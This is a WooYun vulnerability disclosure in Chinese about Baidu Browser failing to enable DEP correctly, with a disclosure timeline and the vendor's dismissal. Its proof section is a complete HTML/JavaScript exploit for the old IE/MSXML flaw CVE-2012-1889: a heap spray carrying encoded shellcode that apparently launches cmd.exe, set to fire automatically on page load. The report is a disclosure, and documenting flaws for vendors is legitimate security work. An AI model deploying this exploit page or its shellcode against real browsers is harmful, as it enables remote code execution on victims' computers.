当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120793

漏洞标题:百度浏览器数据执行保护漏洞导致任意代码可执行

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-06-16 10:29

修复时间:2015-09-19 10:30

公开时间:2015-09-19 10:30

漏洞类型:远程代码执行

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-16: 细节已通知厂商并且等待厂商处理中
2015-06-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-15: 细节向核心白帽子及相关领域专家公开
2015-08-25: 细节向普通白帽子公开
2015-09-04: 细节向实习白帽子公开
2015-09-19: 细节向公众公开

简要描述:

百度浏览器DEP开启有误,导致漏洞触发后,无需借助ROP、无需绕过ASLR即可实现shellcode在无可执行属性的内存空间中运行。在windows7等高版本操作系统上,虽然操作系统自身提供了很多漏洞缓解措施,但百度浏览器却没有正确使用,依然存在该问题。

详细说明:

系统版本:windows 7,IE8,未打补丁
作为例证,使用IE的历史漏洞来说明: CVE-2012-1889
通过IE打开该poc,由于IE8默认开启了DEP,所以会崩溃,shellcode运行失败。但在baidubrowser.exe里能够成功执行shellcode,无需使用ROP绕过DEP。

版本.jpg


漏洞触发后:

exp.jpg


漏洞证明:

<html>
<meta http-equiv="Cache-Control" content="no-cache"/>
<head>
<script>
var arr = new Array();
function Alloc(str, bytes)
{
while(str.length < bytes/2)
{
str += str;
}

return str.substring(0, (bytes-0x1026)/2);
}
function Spray()
{
var head = "\u180c\u0fe8\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u1828\u0fe8";
var blockBytes = 0x1000;
var shellcode = "\u9090\uec8b\uec81\u0100\u0000\ua164\u0030\u0000\u588b\u8b08\u81f3\u2cc6\u0040\u8b00\u8936\u08b5\uffff\u64ff\u30a1\u0000\u8b00\u0c58\u438b\u8b0c\u8b00\u8b00\u1858\u45c7\u57b0\u6e69\uc745\ub445\u6578\u0063\u758d\u56b0\uff53\u0895\uffff\u89ff\u0c85\uffff\uc7ff\uc445\u6d63\u2e64\u45c7\u65c8\u6578\u6a00\u8d01\uc475\uff56\u0c95\uffff\u00ff";

var padding = "\u9090\u9090";
while(padding.length < blockBytes/2)
{
padding = padding + padding;
}

var block = padding.substring(0, 0x3f2) + head + shellcode + padding.substring(0, blockBytes/2 - 0x3f2 - head.length - shellcode.length);

var large = Alloc(block, 0x100000);

for(var k = 0; k < 200; ++k)
{
arr[k] = large.substring(0, large.length);
}
}
function call()
{
Spray();
var obj = document.getElementById('poc').object;
var src = unescape("%u1808%u0fe8");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
}
</script>
</head>
<body onload='call();'>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
</body>
</html>

修复方案:

对自身所有进程正确开启DEP

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-19 10:30

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无